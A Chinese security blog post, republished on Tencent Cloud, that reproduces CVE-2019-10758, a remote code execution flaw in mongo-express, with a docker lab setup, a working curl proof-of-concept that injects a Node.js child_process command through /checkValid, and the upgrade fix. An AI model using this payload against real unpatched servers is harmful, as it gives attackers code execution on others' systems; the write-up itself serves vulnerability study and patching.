前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2019-10758:Mongo-express远程代码执行

CVE-2019-10758:Mongo-express远程代码执行

作者头像
Timeline Sec
发布2020-03-25 16:26:47
1.4K0
发布2020-03-25 16:26:47
举报
文章被收录于专栏:Timeline SecTimeline Sec

本文作者:Str1am(Timeline Sec复现组成员)

本文共597字,阅读大约需要2~3分钟

声明:请勿做非法用途,否则后果自负

0x01 简介

Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。

0x02 漏洞概述

漏洞问题出在lib/bson.js中的toBSON()函数中,路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。

0x03 影响版本

mongo-express < 0.54.0

0x04 环境搭建

使用docker首先搭建MongoDB数据库

代码语言:javascript
复制
docker run --name MyMongo -d mongo:3.2

再搭建一个存在漏洞版本得express并连接到上面得MongoDB

代码语言:javascript
复制
docker run -it --rm -p 8081:8081 --link MyMongo:mongo mongo-express:0.49

看到以下信息即可说明搭建成功

访问本机8081端口,可以看到Mongo-express界面

当然也可以直接使用vulhub

代码语言:javascript
复制
git clone https://github.com/vulhub/vulhub.git
cd vulhub/mongo-express/CVE-2019-10758
docker-compose up -d

0x05 漏洞复现

使用网上Poc

代码语言:javascript
复制
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo Str1am > file.txt")'

看到返回Valid且MongoDB界面返回200即为成功

查看创建的文件

0x06 修复方式

升级至0.54.0以上版本

参考链接:

https://forum.90sec.com/t/topic/685 https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-03-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MongoDB
腾讯云数据库 MongoDB(TencentDB for MongoDB)是腾讯云基于全球广受欢迎的 MongoDB 打造的高性能 NoSQL 数据库,100%完全兼容 MongoDB 协议,支持跨文档事务,提供稳定丰富的监控管理,弹性可扩展、自动容灾,适用于文档型数据库场景,您无需自建灾备体系及控制管理系统。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档